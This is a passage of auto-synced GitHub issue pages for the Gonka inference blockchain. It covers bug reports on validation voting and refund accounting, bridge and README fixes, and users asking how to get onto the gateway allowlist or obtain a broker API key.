Mechanism A — self-invalidation cascade between the two votes (DEMONSTRATED by sim verbose trace above). The first vote on InvalidatePolicyId can succeed and immediately trigger the inference-invalidation handler. That handler updates participant statistics; if statistical_invalidations thresholds are breached (in the seed=99 trace, after invalidated_inferences=24), the voter themselves is marked INVALID, slashed, and removed from the epoch sub-group. The handler then proceeds to the second k.group.Vote on ReValidatePolicyId — voter is no longer a member, vote hard-errors. The entire tx then reverts (atomicity preserves funds but discards both votes, the invalidation, and the slash — see Consequences).
Mechanism B — permissive addEpochMembers leaves ActiveParticipantsSet ⊆ group members invariant unmaintained (plausible from code inspection; not separately demonstrated here). SetActiveParticipants writes ActiveParticipantsSet first (x/inference/keeper/module.go:757, :785), then addEpochMembers adds those participants to the epoch x/group (module.go:1119, x/inference/keeper/epoch_group.go:391). addEpochMembers is permissive:
module.go:1134, logged as ILLEGAL STATE);AddMember error rather than rolling back (module.go:1143, :1145).Both paths leave ActiveParticipantsSet populated while the x/group for that epoch is missing those members. A later MsgValidation picking such a participant as voter would then fail on the first vote, before the cascade above is even reached.
A correct fix has to cover both: the voter may be absent at handler entry (mechanism B) or become absent between the two sequential votes (mechanism A).
"}, {"location": "community/issues/01269-xinference-revalidation-vote-fails-when-voter-absent-from-ep/#production-consequences", "title": "Production consequences", "text": "MsgValidation is fee-exempt via NetworkDutyFeeBypassDecorator (app/ante_fee.go::isNetworkDuty). No fee is deducted on the failed delivery.MsgValidation will hit the same failure. Stuck only escapes via state change from other validators' votes or eventual timeout.ReValidatePolicyId proposal can miss quorum and expire. Liveness for the inference is bounded by the manifestation #1 timeout fix (#1265) — client refunded, inference marked EXPIRED.InvalidatePolicyId breaches the statistical-invalidation threshold via that same tx. Reproducible: any validator near the threshold who lands on a will-invalidate inference.AddMember failures during epoch construction. Lower frequency, but each occurrence persists for the rest of the epoch.Structural membership precheck in revalidateInferenceVote, applied before each k.group.Vote call — not once at the top. Mechanism A specifically requires a recheck between the two votes; checking only at handler entry mirrors the state in which the voter is still a member and is not sufficient.
Sketch:
isMember := func() bool {\n sg, err := k.GetEpochGroup(ctx, inference.EpochId, inference.Model)\n if err != nil || sg == nil || sg.GroupData == nil || sg.GroupData.EpochGroupId == 0 {\n return false\n }\n members, mErr := sg.GetGroupMembers(ctx)\n if mErr != nil {\n return false\n }\n for _, m := range members {\n if m.Member != nil && m.Member.Address == voter {\n return true\n }\n }\n return false\n}\n\nif !isMember() {\n // log + no-op return; do not reach k.group.Vote\n return &types.MsgValidationResponse{}, nil\n}\n// ... first vote on InvalidatePolicyId ...\n\nif !isMember() {\n // voter removed mid-tx (mechanism A); skip second vote\n return &types.MsgValidationResponse{}, nil\n}\n// ... second vote on ReValidatePolicyId ...\nGroupMessageKeeper.GroupMembers is already exposed (x/inference/types/expected_keepers.go:46) and epochgroup.EpochGroup.GetGroupMembers paginates correctly (x/inference/epochgroup/epoch_group.go:464). No interface extension required.
Out of scope for this issue (deferred):
revalidateInferenceVote semantics.addEpochMembers itself (rollback on AddMember failure vs the current continue-and-log) — separate behavioural change that touches epoch transition semantics.Surfaced by the x/inference simulation work in #982 (Phase 3-B invariants + custom decoders, follow-up to PR #1228). Initial hypothesis from code inspection (mechanism B above) was filed first; running sim with -Verbose=true produced the intra-tx trace that demonstrates mechanism A is the actual failure mode on seed=99 b39/op 222.
x/inference/keeper/msg_server_validation.go:226, :246, :253, :304, :306x/inference/keeper/module.go:1119, :1134, :1143, :1145x/inference/types/expected_keepers.go:46, x/inference/epochgroup/epoch_group.go:464refundInvalidatedInference (x/inference/keeper/msg_server_invalidate_inference.go:64-79) issues a full-ActualCost escrow refund to RequestedBy (the client) while debiting the same full ActualCost from executor.CoinBalance only (:74).
Earlier in the inference lifecycle, shareWorkWithValidators (msg_server_validation.go:473-504) splits the same ActualCost across executor and validators (each validation moves a slice of the executor's credit to the validating worker via calculations.ShareWork).
So the credit side is distributed (executor + validators), but the invalidation debit is concentrated (executor only). The validators' positive CoinBalance claims from the now-invalidated inference are never reversed.
Is this asymmetry intentional, with the resulting drift covered by the debt-recovery / collateral / slash mechanisms? Or is it an oversight in the refund path?
"}, {"location": "community/issues/01273-xinference-asymmetric-debit-in-refundinvalidatedinference-de/#mechanism", "title": "Mechanism", "text": "CoinBalance is a per-epoch virtual \"owed\" ledger. It is reset to 0 and converted to real coins at settlement (accountsettle.go:233). refundInvalidatedInference only runs while inferenceIsBeforeClaimsSet is true (msg_server_validation.go:450) — i.e. before that settlement.
By that point shareWorkWithValidators may already have credited the validators their share. The refund then:
ActualCost directly from module escrow (IssueRefund → PayParticipantFromEscrow), reducing the module balance immediately.ActualCost from the executor's CoinBalance only.At the next settlement the validators' still-positive CoinBalance is paid out as real coins from the module — but the escrow that backed it was already refunded to the client. Net module drift = sum of the validators' shares for that inference.
inference-chain/x/inference/keeper/refund_invalidation_bug_test.go (local; can attach as PR/gist on request). Single PASS, deterministic:
+400, validator +100, module account 500. Invariant holds (positiveSum = 500 == moduleBalance = 500).ActualCost = 500: executor -100, validator +100, module 0. Now positiveSum = 100 > moduleBalance = 0 — drift equals exactly the validator's never-reversed share.After applying local fixes for the two sibling manifestations (#1265 timeout-cleanup, #1269 revalidation-vote), make sim-full-test (seed=99) runs to completion (~500 blocks, 10 epochs, 12 430 inferences) and a post-run accounting invariant fires:
inference: bank-backs-positive-balance invariant\nmodule account ... has 7684000 ngonka but participants are owed 8041500\nGap = 357 500 ngonka accumulated across the run, consistent with multiple Invalid Inference subtracted from Executor CoinBalance events leaving validators' shares un-reversed.
The codebase clearly tolerates negative CoinBalance by design:
bitcoin_rewards.go:742-754 treats CoinBalance < 0 as recoverable debt, repaid from future RewardCoins before distribution.types/errors.go:23 registers ErrNegativeCoinBalance (1114) as a signal emitted on partial debt recovery — not a guard.GracePeriodEndEpoch default 180 (params.go:290): during grace, collateral is not required; after grace, slash on Status=INVALID recovers via collateral (collateral.go).So the apparent design intent: short-term drift is acceptable; long-term it is backstopped by (a) reward-redirected debt repayment for participants who stay ACTIVE, and (b) collateral + slash after the grace period.
GetRequiredCollateralForSlash returns 0: neither debt-recovery (no future rewards) nor slash (no collateral) backstops the validators' share. The deficit looks permanent. Intended bootstrap-only cost?ActualCost − own contribution across that executor's invalidations, the residual deficit persists. Is the slash sized to always cover the full ActualCost (including validators' shares), or is this an accepted risk?v0.2.5, #404) and survived every refactor of this function since — v0.2.10 (#695) and v0.2.12 (#948) only reordered refund-before-debit and simplified the payer lookup; the asymmetry itself was never touched. This stability is what makes us ask \"intended?\" rather than assume a bug.Maintainer clarification before any code change:
refundInvalidatedInference capturing the design and its dependence on the collateral / grace / debt-recovery mechanisms (so the next reader doesn't re-file this).shareWorkWithValidators adjustments for validators too) or participant-state-aware accounting would close the gap.x/inference/keeper/msg_server_invalidate_inference.go:64-79 (debit :74)x/inference/keeper/msg_server_validation.go:473-504; guard inferenceIsBeforeClaimsSet :450x/inference/keeper/accountsettle.go:233x/inference/keeper/payment_handler.go:113 (IssueRefund → PayParticipantFromEscrow)x/inference/keeper/bitcoin_rewards.go:742-754; x/inference/types/errors.go:23x/inference/types/params.go:290; x/inference/keeper/collateral.goUpdate — the asymmetry is pervasive, not a grace-period edge case.
While building the simulation/fuzz harness for #982 (Phase 3 — improving simulation quality with custom invariants + multi-seed runs), this asymmetry surfaces on the large majority of seeds, not just the constructed reproducer above.
Multi-seed evidence. A bank-backs-positive-balance invariant — module account balance ≥ Σ positive participant CoinBalances — was added and checked post-run across the framework's default seed list (37 seeds, -NumBlocks=100 -BlockSize=100, -GenesisTime pinned for reproducibility):
module account … has 27284434 ngonka spendable (27284434 total) but participants are owed 28400962 (gap 1,116,528 on seed=99).Root cause confirmed (seed=99, verbose trace). 16 invalidations occurred, each emitting the asymmetric debit:
Invalid Inference subtracted from Executor CoinBalance actualCost=479000 coinBalance=-479000 executor=gonka194weg3...\nThe executor is debited the full ActualCost (going into negative/debt), while the validators' work-shares for the same inference — credited earlier via shareWorkWithValidators — are not reversed. The module account, having refunded the client the full ActualCost, is left under-funded by approximately the sum of those un-reversed validator shares. The ~1.12M ngonka gap on seed=99 matches the validator-share total across the 16 invalidated inferences.
spendable == total on the module account rules out a locked/vesting artifact — this is genuine under-backing.
Takeaway: the asymmetric debit doesn't merely create a recoverable executor debt in rare grace-period conditions — it breaks the module-solvency invariant on ~91% of completing simulation seeds whenever invalidations occur. This strengthens the case that the refund path should reverse the validators' shares (or otherwise reconcile against the escrow actually held), rather than charging the executor alone.
(Surfaced by the #982 simulation work; the invariant and multi-seed harness are part of that effort.)
🔄 Auto-synced from Issue #1273 every hour.
"}, {"location": "community/issues/01274-run-gonka-documentation-translation-on-gonka/", "title": "#1274 — Run Gonka documentation translation on Gonka", "text": "Run Gonka documentation translation on Gonka #1274 Closed @tcharchian opened 2026-05-29 00:59 UTC 1 comment Updated 2026-05-29 01:01 UTCConnect the Gonka website to Gonka itself and run documentation translation online through the network. The idea is that Gonka documentation would be maintained only in English as the single source of truth, while the website automatically translates it into the required languages, such as Chinese, Russian, and others.
"}, {"location": "community/issues/01274-run-gonka-documentation-translation-on-gonka/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-05-29 01:01 UTChttps://github.com/gonka-ai/gonka-docs/issues/1149
🔄 Auto-synced from Issue #1274 every hour.
"}, {"location": "community/issues/01285-bridge-merge-eth-readme-messagehash-quickfix-into-v0214/", "title": "#1285 — Bridge: merge ETH README messageHash quickfix into v0.2.14", "text": "Bridge: merge ETH README messageHash quickfix into v0.2.14 #1285 Open @Ryanchen911 opened 2026-06-01 02:34 UTC 4 comments Updated 2026-07-07 23:25 UTC"}, {"location": "community/issues/01285-bridge-merge-eth-readme-messagehash-quickfix-into-v0214/#summary", "title": "Summary", "text": "The Ethereum bridge README currently documents the mint/withdraw messageHash format without the address(this) bridge contract field, while the actual contract source includes it.
A fix already exists on branch:
https://github.com/gonka-ai/gonka/tree/gl/eth-readme-quickfix
This ticket tracks merging that fix into the v0.2.14 line.
"}, {"location": "community/issues/01285-bridge-merge-eth-readme-messagehash-quickfix-into-v0214/#current-discrepancy", "title": "Current discrepancy", "text": "README currently documents mint as:
epochId,\nGONKA_CHAIN_ID,\nrequestId,\nETHEREUM_CHAIN_ID,\nMINT_OPERATION,\nrecipient,\namount\nBut the contract source uses:
epochId,\nGONKA_CHAIN_ID,\nrequestId,\nETHEREUM_CHAIN_ID,\nMINT_OPERATION,\nrecipient,\naddress(this),\namount\nThe same applies to withdraw, where address(this) is also part of the signed payload.
The chain-side implementation already matches the contract source, so this is not a production-safety issue.
However, third-party auditors or integrators using the README could construct an invalid message hash, causing signature verification failures.
"}, {"location": "community/issues/01285-bridge-merge-eth-readme-messagehash-quickfix-into-v0214/#acceptance-criteria", "title": "Acceptance criteria", "text": "messageHash includes address(this).messageHash includes address(this).BridgeContract.sol.@Ryanchen911, are you ready to write a fix?
@Ryanchen911 commented 2026-06-02 07:15 UTCSure, we will take it,@bonujel is our new colleague of 6block, he will do it.
@bonujel commented 2026-06-02 08:24 UTCPicking this up — I'll cherry-pick the README messageHash fix from gl/eth-readme-quickfix onto the v0.2.14 line and open a PR shortly.
@GLiberman fyi
🔄 Auto-synced from Issue #1285 every hour.
"}, {"location": "community/issues/01286-bridge-add-retry-cap-or-monitoring-for-stale-refund-cleanup-/", "title": "#1286 — Bridge: add retry cap or monitoring for stale refund cleanup retries", "text": "Bridge: add retry cap or monitoring for stale refund cleanup retries #1286 Open @Ryanchen911 opened 2026-06-01 02:34 UTC 4 comments Updated 2026-07-01 21:37 UTC"}, {"location": "community/issues/01286-bridge-add-retry-cap-or-monitoring-for-stale-refund-cleanup-/#summary", "title": "Summary", "text": "When a threshold signing request reaches COMPLETED, the inference BLS hook calls CleanupBridgePendingRefundByBlsRequestID to remove pending bridge refund state.
If this cleanup persistently fails, the request is re-queued under CompletedPostProcessRetryPrefix, but ProcessCompletedPostProcessRetries currently has no maximum retry cap.
This does not appear to create a direct safety issue:
cancelThresholdSigningRequest rejects cancellation once the BLS request is COMPLETED.However, persistent cleanup failures can cause:
Either:
inference-chain/x/inference/module/bls_hooks.goAfterThresholdSigningCompletedinference-chain/x/inference/keeper/bridge_pending_refund.goCleanupBridgePendingRefundByBlsRequestIDinference-chain/x/bls/keeper/threshold_signing.goProcessCompletedPostProcessRetries@Ryanchen911, are you ready to write a fix?
@Ryanchen911 commented 2026-06-02 07:15 UTCsure, we will take it @bonujel
@bonujel commented 2026-06-02 08:27 UTCPicking this up — I'll add a maximum retry cap for completed post-process retries (with metrics/logging for stale entries) so persistent cleanup failures can't retry forever, while keeping the existing double-spend protection unchanged. PR to follow on the v0.2.14 line.
@tcharchian commented 2026-06-02 17:46 UTC@GLiberman fyi
🔄 Auto-synced from Issue #1286 every hour.
"}, {"location": "community/issues/01319-self-serve-no-broker-flow-is-documented-as-working-but-retur/", "title": "01319 self serve no broker flow is documented as working but retur", "text": "title: \"#1319 — Self-serve (no-broker) flow is documented as working but returns 401 \"model requires an API key\" — I want to spend my own GNK directly\" source: https://github.com/gonka-ai/gonka/issues/1319 issue_number: 1319 synced_at: 2026-07-26T07:07:19Z template: issues-main.html
Self-serve (no-broker) flow is documented as working but returns 401 \"model requires an API key\" — I want to spend my own GNK directly #1319 Closed @dufok opened 2026-06-07 22:20 UTC 7 comments Updated 2026-07-03 15:26 UTC"}, {"location": "community/issues/01319-self-serve-no-broker-flow-is-documented-as-working-but-retur/#summary", "title": "Summary", "text": "Several official surfaces document a self-serve, no-broker end-to-end inference flow (own GNK account + private key → signed request → completion) as if it works. In practice, a funded, on-chain-registered account gets 401 {\"error\":{\"message\":\"model \\\"...\\\" requires an API key\"}} for every model on the network. So the documented self-serve path is not actually end-to-end without a broker.
This is the follow-up to #876 (closed with \"use a community broker\"). The runtime behavior matches that answer — but the docs and official SDKs still present the broker-less path as working, which is the actual bug here: docs vs. reality.
"}, {"location": "community/issues/01319-self-serve-no-broker-flow-is-documented-as-working-but-retur/#motivation-i-want-to-use-my-own-gnk-as-designed", "title": "Motivation — I want to use my own GNK, as designed", "text": "The whole reason to choose Gonka over a centralized API is to pay with my own GNK directly, the way the network was designed: decentralized, no third party custodying my funds or gating my access. Routing through a community broker — who holds the GNK, sets the price, and can rate-limit or cut me off — defeats that purpose. I already hold GNK and have a registered account; I do not want to buy access from a broker, I want to spend my own coins directly. Please make the self-serve path actually work (option (a) below).
"}, {"location": "community/issues/01319-self-serve-no-broker-flow-is-documented-as-working-but-retur/#where-the-no-broker-path-is-presented-as-working", "title": "Where the no-broker path is presented as working", "text": "gonka-ai/gonka README — directs developers to \"create a user account and submit an inference request using the inferenced CLI tool\" via the Quickstart. No mention that a broker API key is required to actually get a completion.
gonka-ai/gonka-openai (official SDK) — minimal usage example constructs the client from a private key and calls chat.completions.create, framed as \"Use exactly like the original OpenAI client\". The OpenAI api_key is documented as just \"mock-api-key\" (\"OpenAI requires any key\"). No broker, no caveat:
from gonka_openai import GonkaOpenAI\nclient = GonkaOpenAI(\n api_key=\"mock-api-key\",\n gonka_private_key=\"0x1234...\",\n source_url=\"https://...\",\n)\nclient.chat.completions.create(\n model=\"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\",\n messages=[{\"role\": \"user\", \"content\": \"Hello!\"}],\n)\ngonkalabs/opengnk README — a complete self-serve quickstart (download CLI → create account → export key → fund via faucet → request) with a curl example that \"just works\". No warning about 401 / broker requirement.
Funded, on-chain-registered account: - address: gonka12wmxxm9l4ern8wcdpr4lr750km2l7l58stsvdt - balance: 295137045500 ngonka (~295 GNK), confirmed via http://node1.gonka.ai:8000/chain-api/cosmos/bank/v1beta1/balances/<addr>
Run the official-pattern self-serve proxy (gonkalabs/opengnk) with that key:
GONKA_ADDRESS=gonka12wmxxm9l4ern8wcdpr4lr750km2l7l58stsvdt\nGONKA_SOURCE_URL=http://node1.gonka.ai:8000\nmsg=\"endpoints discovered\" count=3 whitelisted=7\nmsg=\"upstream request\" method=POST url=https://node4.gonka.ai/v1/chat/completions\n endpoint_addr=gonka1kx9... wallet=gonka12wmxxm9l4ern8wcdpr4lr750km2l7l58stsvdt\ncurl http://localhost:8091/v1/chat/completions \\\n -H \"Content-Type: application/json\" \\\n -d '{\"model\":\"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\",\n \"messages\":[{\"role\":\"user\",\"content\":\"Hello!\"}]}'\nQwen3-235B-A22B, moonshotai/Kimi-K2.6, MiniMaxAI/MiniMax-M2.7): {\"error\":{\"message\":\"model \\\"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\\\" requires an API key\"}}\nGET /v1/models returns count=0; the unauthenticated catalog lists all three. The gate is enforced node-side, per model — correct signing + funded account do not bypass it."}, {"location": "community/issues/01319-self-serve-no-broker-flow-is-documented-as-working-but-retur/#expected", "title": "Expected", "text": "Preferred — (a) a funded, registered self-serve account can run inference on the public models directly with its own GNK (make the documented broker-less flow actually work end-to-end).
Otherwise — (b) the docs and official SDK READMEs clearly state that a broker API key is mandatory, and the self-serve gonka-openai / inferenced / OpenGNK examples are removed or explicitly flagged as non-functional without a broker. Right now a developer following the official SDK README hits a dead end with no hint that a broker is required.
gonkalabs/opengnk @ main (Go proxy, secp256k1 signing, CGO_ENABLED=0)http://node1.gonka.ai:8000, gateway https://node4.gonka.aiQwen/Qwen3-235B-A22B-Instruct-2507-FP8, moonshotai/Kimi-K2.6, MiniMaxAI/MiniMax-M2.7Related: #876
"}, {"location": "community/issues/01319-self-serve-no-broker-flow-is-documented-as-working-but-retur/#comments-7", "title": "💬 Comments (7)", "text": "@JamesJi79 commented 2026-06-08 04:53 UTCHello! I took a close look at your issue. The 401 \"model requires an API key\" is a node-side API key gate, not a signing/auth issue. Your proxy correctly signs requests and your wallet is funded (~295 GNK confirmed on-chain), but the inference nodes reject direct requests that lack a valid broker API key.
What is happening technically: 1. opengnk proxy signs and forwards correctly 2. Wallet is funded and on-chain registered 3. Node gate checks for broker API key instead of wallet balance 4. Unauthenticated /v1/models shows models but authenticated returns count=0
Two paths: - Option A (self-serve fix): Gonka team needs to update node-side validation to accept self-serve wallets. Previous issue #876 suggests broker-required is intentional. - Option B (workaround): I can help set up a personal broker proxy that gets its own API key, acting as your personal broker without third-party GNK custody.
I do paid consulting on blockchain/proxy integration. If interested in Option B, I can quote a fixed price. Reach me at james@greentoken.center
@dufok commented 2026-06-08 12:55 UTCThanks for taking a look and confirming the diagnosis.
To be clear about what I'm after: I'm specifically looking for an official fix (Option A) — node-side validation that accepts a funded, on-chain-registered self-serve wallet, so I can spend my own GNK directly.
A paid or personal-broker setup (Option B) doesn't fit my goal. The entire reason I chose Gonka is to pay with my own GNK directly, decentralized, with no third party custodying funds, gating access, or charging a fee in between. A \"personal broker\" still introduces a key/middleman and a cost, which defeats that purpose.
So I'll wait for the maintainers' response on whether the self-serve path can be supported (or, failing that, for the docs/SDK READMEs to clearly state a broker is mandatory). Appreciate the help, but I'm not looking for paid consulting here.
@dufok commented 2026-06-08 13:05 UTCI dug into the source to pin down exactly where the gate lives. It turns out to be two layers, and only one of them is actually blocking self-serve:
Layer 1 — gateway model-access policy (therequires an API key message) devshard/cmd/devshardctl/gateway.go → modelAccessError(). Each model has an AccessMode configured by whoever runs the gateway:
open → anyone allowedapikey → must present a key from that gateway's store (requestHasAPIKey)admin-only → admin keyThe public node4.gonka.ai is itself a devshard gateway whose operator set the models to apikey — which is exactly why a community broker (a gateway with apikey mode + its own billing) is the documented path. This layer is operator config, not a protocol gate — if I run my own gateway I can set the models to open. So Layer 1 is not the real blocker.
For my own gateway to pay for inference with my own GNK, it has to open an on-chain devshard escrow. The handler gates on the creator address:
// inference-chain/x/inference/keeper/msg_server_create_devshard_escrow.go\nif err := k.CheckPermission(goCtx, msg, EscrowAllowListPermission); err != nil {\n return nil, err\n}\n// inference-chain/x/inference/keeper/params.go\nfunc (k Keeper) IsAllowedEscrowCreator(ctx, address) bool {\n ep := k.GetDevshardEscrowParams(ctx)\n if len(ep.AllowedCreatorAddresses) == 0 { return true } // empty = open to all\n for _, a := range ep.AllowedCreatorAddresses {\n if a == address { return true }\n }\n return false\n}\nAllowedCreatorAddresses is non-empty (populated via chain upgrades — e.g. app/upgrades/v0_2_13 batch-added several gonka1… addresses), my address is not on it, so CreateDevshardEscrow returns ErrNotAllowedEscrowCreator. This is a consensus param, so I can't self-add it.
This makes the fix concrete. Please add my funded, on-chain-registered address to DevshardEscrowParams.AllowedCreatorAddresses in the next upgrade — exactly as was done in v0_2_13:
gonka12wmxxm9l4ern8wcdpr4lr750km2l7l58stsvdt (~295 GNK on-chain)\nThen I can run my own devshard gateway and pay for inference directly with my own GNK — the decentralized, no-broker, no-middleman flow the network is designed for.
Separately, would you consider relaxing the escrow allow-list so any sufficiently-funded address can open a devshard escrow? The existing MinAmount / MaxAmount and MaxEscrowsPerEpoch params already provide anti-spam / rate-limiting, so the hard allow-list seems to add little beyond gatekeeping permissionless self-serve. Happy to open a PR for this if it would be welcome.
Hi @dufok!
The \"spend my own GNK, no middleman\" flow you want is exactly run your own devshard gateway — and the one thing standing between you and it is having your creator address on that allowlist. There's no hidden self-serve-without-a-gateway path that is withheld; direct signed requests to a participant node returning Transfer Agent not allowed and node4 returning requires an API key are both expected, and the honest end-to-end self-serve path is \"own allowlisted gateway → your own escrow → your own GNK.\"
On the docs-vs-reality point — you're right, and it's fair. The signed-wallet, broker-less examples in some SDK/READMEs (gonka-openai, opengnk, older inferenced quickstart) present an end-to-end path that doesn't actually complete against node4 today without either a key or your own allowlisted gateway. The developer quickstart has since been restructured around the two paths that genuinely work — consume via a community broker, or run your own allowlisted gateway — but the SDK READMEs you cited still need to be reconciled with that.
On adding gonka12wmxxm9l4ern8wcdpr4lr750km2l7l58stsvdt to the allowlist. This is the right request, but it's an on-chain governance decision — the allowlist is a consensus param changed only through a governance vote (as in the v0_2_13 batch), not something any maintainer or operator adds unilaterally (treat inclusion and timeline as governance-dependent, not guaranteed).
Separately, and only for completeness — not as the answer to your request: Gonka Labs recently posted https://github.com/gonka-ai/gonka/discussions/1363, a managed \"devshards as a service\" gateway under an already-whitelisted wallet. It's the middleman model you've explicitly declined, so I'm not proposing it as a fix — linking it only because it's directly relevant background to the allowlist discussion and shows what the operator path looks like at production scale.
@dufok commented 2026-06-29 23:48 UTCThanks @tcharchian — that's a clear and fair answer, and it actually points me at exactly what I want to do.
To be concrete: I want to run and operate my own devshard gateway, on my own hardware (a server I already own, so infra cost is zero for me), and pay for inference with my own GNK. I'm not looking for a broker to consume — I'm happy to be the allowlisted operator for my own usage. The only thing standing in the way is having my creator address on AllowedCreatorAddresses.
I looked at the current on-chain param: the allowlist has ~17 operator addresses, and they were added in batches via upgrades (e.g. v0_2_13). So my question is about process, not a one-off favor:
AllowedCreatorAddresses? Is there an application / vetting path to be included in a future upgrade batch (the way the existing 17 were added), or is the only route a standalone governance proposal submitted by the applicant?My address (funded, on-chain registered, ready to operate):
gonka12wmxxm9l4ern8wcdpr4lr750km2l7l58stsvdt\nHappy to follow whatever the established process is — just want to know which door to walk through. Thanks!
@tcharchian commented 2026-07-03 00:01 UTCHi @dufok!
On how the allowlist changes: every modification of DevshardEscrowParams.AllowedCreatorAddresses is an on-chain governance action. There's no maintainer-side \"add operator\" switch. It's either a standalone governance proposal that updates the param, voted on-chain, or inclusion in a governance-approved chain upgrade batch — which is how the current operators were seeded in v0_2_13. (the initial set was added during the early rollout as part of upgrade handlers, as a bootstrap step to get the first operators online.)
There isn't a published operator-vetting checklist I can point you to (as of now).
As for which door to walk through: the documented way to register intent is what you've already done here — a public request with your operator identity, contact, creator address, and intended models. That puts it in front of maintainers and governance participants. A standalone proposal is a legitimate route for an independent operator (whether it passes is up to voters).
Additional correction on OpenBroker, since it touches your \"no fee in between\" point. It isn't a USD reseller with a margin: it settles in GNK and deducts its ledger 1-to-1 with actual escrow cost, at cost with no markup, and there's no enrollment or approval wait. So on price and time-to-start it's effectively a pass-through you could use today.
@dufok commented 2026-07-03 15:26 UTCThanks a lot @tcharchian — this fully answers it, and I appreciate the patience and the honest docs-vs-reality acknowledgement. The OpenBroker clarification (GNK-settled, 1:1 at cost, no markup, no approval wait) is exactly what I needed — I'll start there. Cheers.
🔄 Auto-synced from Issue #1319 every hour.
"}, {"location": "community/issues/01321-gateway-allowlist-request/", "title": "#1321 — Gateway allowlist request", "text": "Gateway allowlist request #1321 Closed @bruev opened 2026-06-08 14:26 UTC 1 comment Updated 2026-06-23 23:03 UTCname: Andrei company: Lunaro project: Lunaro Gonka Gateway github: @bruev Gonka address: gonka1yfr6fcatj5hvx25ucy7uswwsdzdw7aql4uhug3 Models: Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 Purpose: Self-hosted devshard gateway on the linux server
"}, {"location": "community/issues/01321-gateway-allowlist-request/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-06-23 23:03 UTCHi @bruev!
To set expectations on the self-hosted path you asked for: running your own devshard gateway means becoming an on-chain escrow operator. Your gonka1… creator address has to be on the governance-controlled allowlist (devshard_escrow_params.allowed_creator_addresses) before it can open escrows, and you take on the operator side yourself — funding, rotating, and settling escrows, handling v1/v2 state roots, etc. That path stays fully open: inclusion is an on-chain governance decision (no single operator adds an address), so the way to pursue it is to request consideration via governance.
If you'd rather not wait on a governance vote, there are independent, managed gateways in the community that already operate under whitelisted wallets and expose a plain OpenAI-compatible endpoint — so you can start now without your own allowlisting or enrollment. One such community option is OpenBroker (run by Gonka Labs) https://github.com/gonka-ai/gonka/discussions/1363
OpenBroker is independent third party, not part of the core protocol.
🔄 Auto-synced from Issue #1321 every hour.
"}, {"location": "community/issues/01322-gateway-allowlist-request/", "title": "#1322 — Gateway allowlist request", "text": "Gateway allowlist request #1322 Closed @Puyre opened 2026-06-08 15:13 UTC 1 comment Updated 2026-06-10 15:20 UTC"}, {"location": "community/issues/01322-gateway-allowlist-request/#request-to-be-added-as-a-gonka-gateway-operator-devshard-creator-allowlist", "title": "Request to be added as a Gonka gateway operator (devshard creator allowlist)", "text": "Hi Gonka core team & community,
We're requesting inclusion of our on-chain address in devshard_escrow_params.allowed_creator_addresses so we can operate our own devshard gateway rather than routing through a third-party broker.
gonka15y6xg0ps5w0u4w3ttx557mf46v82ms8svcavy2devshard_escrow_params.min_amount and has its on-chain pubkey published (secp256k1).We're building an OpenAI-compatible inference gateway that uses Gonka as its primary backend — a drop-in replacement for closed AI APIs (developers change one base_url and keep their existing OpenAI SDK code).
Under the hood, the gateway routes requests to Gonka by default and automatically falls back to a stable provider (OpenRouter) when the network is unavailable. The goal is to let end users run their workloads on Gonka — capturing the cost savings — without being exposed to the network's current instability, since the fallback transparently covers the downtime.
"}, {"location": "community/issues/01322-gateway-allowlist-request/#why-this-helps-the-network", "title": "Why this helps the network", "text": "We intend to serve all three currently governance-approved models:
qwen/qwen3-235b-a22b-instruct-2507-fp8moonshotai/kimi-k2.6minimaxai/minimax-m2.7andres@rogilabs.com@puyreThanks for reviewing.
Rogi AI
"}, {"location": "community/issues/01322-gateway-allowlist-request/#comments-1", "title": "💬 Comments (1)", "text": "@Puyre commented 2026-06-10 15:20 UTCClosing this — after checking with the Gonka community, I realized we don't need to run our own devshard. Getting a broker key to send requests through node4 will be enough for our case. I'll likely open a separate issue requesting a broker key (or asking for documentation on how one can be obtained).
🔄 Auto-synced from Issue #1322 every hour.
"}, {"location": "community/issues/01331-how-to-obtain-a-broker-api-key-for-node4-or-documentation-on/", "title": "#1331 — How to obtain a broker API key for node4 (or documentation on the broker onboarding process)?", "text": "How to obtain a broker API key for node4 (or documentation on the broker onboarding process)? #1331 Closed @Puyre opened 2026-06-10 15:34 UTC 1 comment Updated 2026-06-23 23:29 UTCHi Gonka core team & community,
"}, {"location": "community/issues/01331-how-to-obtain-a-broker-api-key-for-node4-or-documentation-on/#context", "title": "Context", "text": "We previously opened an issue requesting inclusion of our address in devshard_escrow_params.allowed_creator_addresses to run our own devshard gateway. After discussing with the community, we concluded we don't actually need to operate our own devshard — for our use case it's enough to obtain a broker API key and send requests through the public gateway (node4), the documented path for consuming inference without running an allowlisted escrow creator.
That earlier issue has been closed in favor of this one.
"}, {"location": "community/issues/01331-how-to-obtain-a-broker-api-key-for-node4-or-documentation-on/#what-were-trying-to-do", "title": "What we're trying to do", "text": "We're building an OpenAI-compatible inference gateway that uses Gonka as its primary backend — a drop-in replacement for closed AI APIs (developers change one base_url and keep their existing OpenAI SDK code). Under the hood it routes to Gonka by default and falls back to a stable provider (OpenRouter) when the network is unavailable, so end users get Gonka-level cost savings without being exposed to current uptime variance.
To do this we need programmatic inference access through a broker key.
"}, {"location": "community/issues/01331-how-to-obtain-a-broker-api-key-for-node4-or-documentation-on/#the-actual-question", "title": "The actual question", "text": "We've confirmed the following behavior ourselves:
Transfer Agent not allowed — which is expected behavior, since our wallet is not on the allowlist.https://node4.gonka.ai returns {\"error\":{\"message\":\"model \\\"...\\\" requires an API key\"}}.Based on my own testing and on input from community members, I believe there is some way to obtain an API key (a broker key) that would let us send requests through this node.
Our questions:
gonka15y6xg0ps5w0u4w3ttx557mf46v82ms8svcavy2devshard_escrow_params.min_amount, on-chain pubkey published (secp256k1).andres@rogilabs.com@puyreThanks for reviewing. Rogi AI
"}, {"location": "community/issues/01331-how-to-obtain-a-broker-api-key-for-node4-or-documentation-on/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-06-23 23:29 UTCHi @Puyre!
